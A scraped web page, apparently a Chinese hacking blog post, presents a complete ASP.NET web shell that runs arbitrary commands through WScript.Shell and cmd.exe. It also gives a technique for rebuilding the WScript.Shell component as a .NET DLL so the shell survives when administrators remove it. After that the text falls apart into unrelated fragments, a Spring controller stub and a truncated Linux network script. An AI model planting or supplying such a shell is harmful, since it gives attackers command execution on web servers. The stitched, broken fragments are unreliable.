<%@ Page Language="VB" validateRequest ="false" aspcompat ="true" %> <script runat="server"> Sub runcmd()sub runcmd(Src AsObject, E As EventArgs) Dim StrResult AsString Dim CMDShell AsObject CMDShell = Server.CreateObject("WScript.Shell") StrResult = CMDShell.eXec( CMDPath.Text &" /c "& CMDBox.Text ).stdout.readall StrResult =Replace(StrResult , "<","<") StrResult =Replace(StrResult , ">",">") ResultLabel.Text ="<pre>"& StrResult &"</pre>" end sub </script> <html> <head><title>WSH.SHell For ASP.NET By lake2</title></head> <body> <form runat="server"> "cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> <br> Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server"/> <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server"/> <br> <asp:Label ID="ResultLabel" runat="server"/> </form> <div align="center">-----------<font color="#0000FF">Enjoy Hacking!</font>----------- </div> <hr width="50%"> </body> </html>
·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代码1)
视图控制层代码demo如下:
@Controller
@RequestMapping("/")
public class MessageController {
private final MessageRepository messageRepository;
@Autowired
public MessageController(Mes
作为一名
Linux SA,日常运维中很多地方都会用到脚本,而服务器的ip一般采用静态ip或者MAC绑定,当然后者比较操作起来相对繁琐,而前者我们可以设置主机名、ip信息、网关等配置。修改成特定的主机名在维护和管理方面也比较方便。如下脚本用途为:修改ip和主机名等相关信息,可以根据实际需求修改,举一反三!
#!/bin/sh
#auto Change ip netmask ga